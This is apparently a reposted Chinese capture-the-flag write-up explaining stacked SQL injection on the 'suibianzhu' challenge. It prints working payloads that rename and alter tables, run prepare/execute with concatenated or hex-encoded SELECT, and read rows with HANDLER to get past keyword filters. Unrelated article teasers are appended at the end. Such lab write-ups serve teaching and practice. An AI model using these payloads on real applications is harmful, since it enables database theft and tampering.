SQL注入:堆叠注入-强网杯[随便注]

目录

什么是堆叠注入?

强网杯-随便注

rename && alter绕过

 prepare绕过

Handle绕过


靶机:BUUCTF在线评测

什么是堆叠注入?

在一些场景中,应用程序支持一次执行多条SQL语句,我们称为堆叠查询,如果应用程序中存在SQL注入漏洞,攻击者就可以在原有的SQL语句后添加新的SQL语句,这种攻击就成为堆叠注入攻击

将多个语句一起进行查询,比如

select * from users;show databases; 

产生这种注入的原理也很简单,是由于PHP mysql_multi_query()这个函数支持多个SQL语句同时执行,只需要使用;分割即可。

例如:我们可以使用下列一条语句同时查询出两条数据:

强网杯-随便注

现在知道了堆叠注入是什么后,现在在强网杯的随便注例题试试看

进入到题目中发现是这样的:

那么可以提交一个1看看会有什么反应:

尝试使用'闭合

可以看到这里也是报错了,说明是存在注入点的

那么我们可以尝试注入一下数据库有多少列:

通过测试发现数据库中一共是有2列,那么再来试试使用union 来进行联合查询一下:

可以看到这里打印的是后端过滤的字符串,我们需要使用的select被过滤掉了

这里不使用这些被过滤的字符串,使用堆叠注入我们可以使用show直接查出数据库和表名:

也可以使用desc查看一下表结构:

注:这个纯数字的表名需要使用反引号引起来

根据上面查找知道回显的表是有两列的,因此就是word表了

现在需要做的就是查询字段了,但是select 关键字被过滤了,无法查询,因此我们需要绕过限制来查询数据: 

rename && alter绕过

现在知道了前台是有显示数据的,并且这个数据是从words这个表中读取的,因此,我们可以把表名1919810931114514 改为word,并将数字名的表中的列名改为与words表里同样的列名就可以让前台顺利的读取flag

我们先查看一下words表中的列名:

1';show columns from words;

可以看到分别是id 和 data然后我们现在需要去将1919810931114514表中的列名flag 修改为 data 并添加一列 id,因为words表有两列,而1919810931114514表只有一列

payload:

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

重命名完成后,使用alter进行查询:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

 可以看到这样就成功的拿到了flag

 prepare绕过

预处理或者说是可传参的语句用来高效的执行重复的语句

MYSQL官方将:prepareexecutedeallocate统称为PREPARE STATEMENT

三个基本语句:

prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;

payload

1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); pRepare flag from @a;EXECUTE flag;#

 

set prepare 被过滤了,因此在payload中进行简单的大小写绕过

首先设定一个变量a 并使用mysql的concat函数拼接语句

prepare from 是预处理语句

execute用来执行由SQLPrepare创建的SQL语句

而值得注意的是,SET只能一次对一个变量赋值

也可以使用编码来绕过select

使用Hex对

select * from ` 1919810931114514 `

进行编码

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

而无论是payload1中的prepare flag 还是payload2中的execsql他们都是我们起的一个代称,下面的execute用来执行这个你起的代称。比如 EXECUTE flag execute execsql

Handle绕过

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

不使用索引

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
​
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
   
# 关闭以打开的句柄
HANDLER tbl_name CLOSE

使用select查询 users表中的数据:

使用handler查询 users表中的数据:

首先打开句柄:

handler users open;

接着查询数据:

handler users read first;
​
handler users read next;

payload:

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/401052.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

HTML5-CSS3

一、HTML5的新特性 HTML5 的新增特性主要是针对于以前的不足,增加了一些新的标签、新的表单和新的表单属性等。 这些新特性都有兼容性问题,基本是 **IE9 以上版本的浏览器**才支持,如果不考虑兼容性问题,可以大量使用这些新特性…

前端是做什么的?

前端很多时候代表从事前端开发的工程师,定义上来说,他们负责规划、设计、构建和运行网站、软件程序和基于 Web 的应用程序的用户界面系统。通俗点来说,我们看到的网站、点击网站所有的按钮以及和网站的交互都是前端所进行的工作。 概述 前端…

pclpy 窗口可视化多个点云

pclpy 窗口可视化多个点云 一、算法原理二、代码三、结果1.可视化结果 四、相关数据五、问题与解决方案1.问题2.解决 一、算法原理 原理看一下代码写的很仔细的。。目前在同一个窗口最多可视化两个点云。。 二、代码 from pclpy import pcldef CloudShow(cloud1, cloud2):&q…

java数据结构与算法刷题-----LeetCode222. 完全二叉树的节点个数

java数据结构与算法刷题目录(剑指Offer、LeetCode、ACM)-----主目录-----持续更新(进不去说明我没写完):https://blog.csdn.net/grd_java/article/details/123063846 1. 法一:利用完全二叉树性质,进行递归二分查找 解…

145. Binary Tree Postorder Traversal(二叉树的后序遍历)

问题描述 给你一棵二叉树的根节点 root ,返回其节点值的 后序遍历 。 问题分析 此问题与二叉树的前序遍历分析类似,只是在数组合并的时候顺序发生一下变化就行了。 代码 int* postorderTraversal(struct TreeNode* root, int* returnSize) {if(root…

【电子书】计算机课程

资料 wx:1945423050 个人整理了一些互联网电子书 计算机课程 Netty权威指南(第2版).epubSharePoint Server 2016 IT Pro 部署指南.epubTensorFlow自然语言处理.epubWebGIS之OpenLayers全面解析.epub从Paxos到Zookeeper分布式一致性原理与实践…

《图解设计模式》笔记(一)适应设计模式

图灵社区 - 图解设计模式 - 随书下载 评论区 雨帆 2017-01-11 16:14:04 对于设计模式,我个人认为,其实代码和设计原则才是最好的老师。理解了 SOLID,如何 SOLID,自然而然地就用起来设计模式了。Github 上有一个 tdd-training&…

Javascript中var和let之间的区别

文章目录 一.变量提升(声)二.let和var的区别 区别: 1、var有变量提升,而let没有; 2、let不允许在相同的作用域下重复声明,而var允许; 3、let没有暂时性死区问题; 4、let创建的全局变量没有给window设置对应…

【广度优先搜索】【网格】【割点】【 推荐】1263. 推箱子

作者推荐 视频算法专题 涉及知识点 广度优先搜索 网格 割点 并集查找 LeetCode:1263. 推箱子 「推箱子」是一款风靡全球的益智小游戏,玩家需要将箱子推到仓库中的目标位置。 游戏地图用大小为 m x n 的网格 grid 表示,其中每个元素可以是墙、地板或…

ctfshow web入门 web141-145

1.web141 ^\w$表示在开头和末尾匹配字母数字_,传入的v3值不能有字母数字_,即无字母的命令执行 php中1-phpinfo()是可以执行的,加减乘除都可以实现 这里或,异或,取反等运算都可以 这里采用羽师傅的异或脚本生成paylo…

小白水平理解面试经典题目LeetCode 404 Sum of Left Leaves【Tree】

404 左叶之和 小白翻译 给定二叉树的root,返回所有左叶的总和。 叶子是没有子节点的节点。左叶是另一个节点的左子节点的叶。 例子 小白教室做题 在大学某个自习的下午,小白坐在教室看到这道题。想想自己曾经和白月光做题,现在大过年的&a…

[服务器-数据库]MongoDBv7.0.4不支持ipv6访问

文章目录 MongoDBv7.0.4不支持ipv6访问错误描述问题分析错误原因解决方式 MongoDBv7.0.4不支持ipv6访问 错误描述 报错如下描述 Cannot connect to MongoDB.No suitable servers found: serverSelectionTimeoutMS expired: [failed to resolve 2408]问题分析 首先确定其是…

Github 2024-02-22 开源项目日报 Top10

根据Github Trendings的统计,今日(2024-02-22统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目4非开发语言项目2Go项目2HTML项目1Dart项目1Vue项目1JavaScript项目1TypeScript项目1 《Hello 算法…

Docker镜像加速

前言 众所周知,我们常用的一些工具或系统的下载源都是国外的,这就会导致我们在下载一些东西时,会导致下载巨慢或者下载失败的情况,下面便是docker换下载源的教程 镜像加速 下面是几个常用的国内的镜像 科大镜像:ht…

ARMv8-AArch64 的异常处理模型详解之异常处理详解(进入异常以及异常路由)

在上篇文章 ARMv8-AArch64 的异常处理模型详解之异常处理概述Handling exceptions中,作者对异常处理整体流程以及相关概念做了梳理。接下来,本文将详细介绍处理器在获取异常、异常处理以及异常返回等过程中都做了哪些工作。 ARMv8-AArch64 的异常处理模型…

深度学习系列60: 大模型文本理解和生成概述

参考网络课程:https://www.bilibili.com/video/BV1UG411p7zv/?p98&spm_id_frompageDriver&vd_source3eeaf9c562508b013fa950114d4b0990 1. 概述 包含理解和分类两大类问题,对应的就是BERT和GPT两大类模型;而交叉领域则对应T5 2.…

C++ 之LeetCode刷题记录(三十三)

😄😊😆😃😄😊😆😃 开始cpp刷题之旅。 目标:执行用时击败90%以上使用 C 的用户。 11. 盛最多水的容器 给定一个长度为 n 的整数数组 height 。有 n 条垂线,…

贝叶斯统计——入门级笔记

绪论 1.1 引言 全概率公式 贝叶斯公式 三种信息 总体信息 当把样本视为随机变量时,它有概率分布,称为总体分布. 如果我们已经知道总体的分布形式这就给了我们一种信息,称为总体信息 样本信息 从总体中抽取的样本所提供的信息 先…

无人机的视频图传技术

在操控无人机时,视频图传技术显得尤为关键。通过这项技术,无人机的摄像头所捕捉的画面能实时回传至遥控器,使操作者全面掌握无人机的拍摄情况。同时,无人机图传技术也是衡量无人机性能的重要标准,它关乎飞行距离与时间…

先进语言模型带来的变革与潜力

用户可以通过询问或交互方式与GPT-4这样的先进语言模型互动,开启通往知识宝库的大门,即时访问人类历史积累的知识、经验与智慧。像GPT-4这样的先进语言模型,能够将人类历史上积累的海量知识和经验整合并加以利用。通过深度学习和大规模数据训…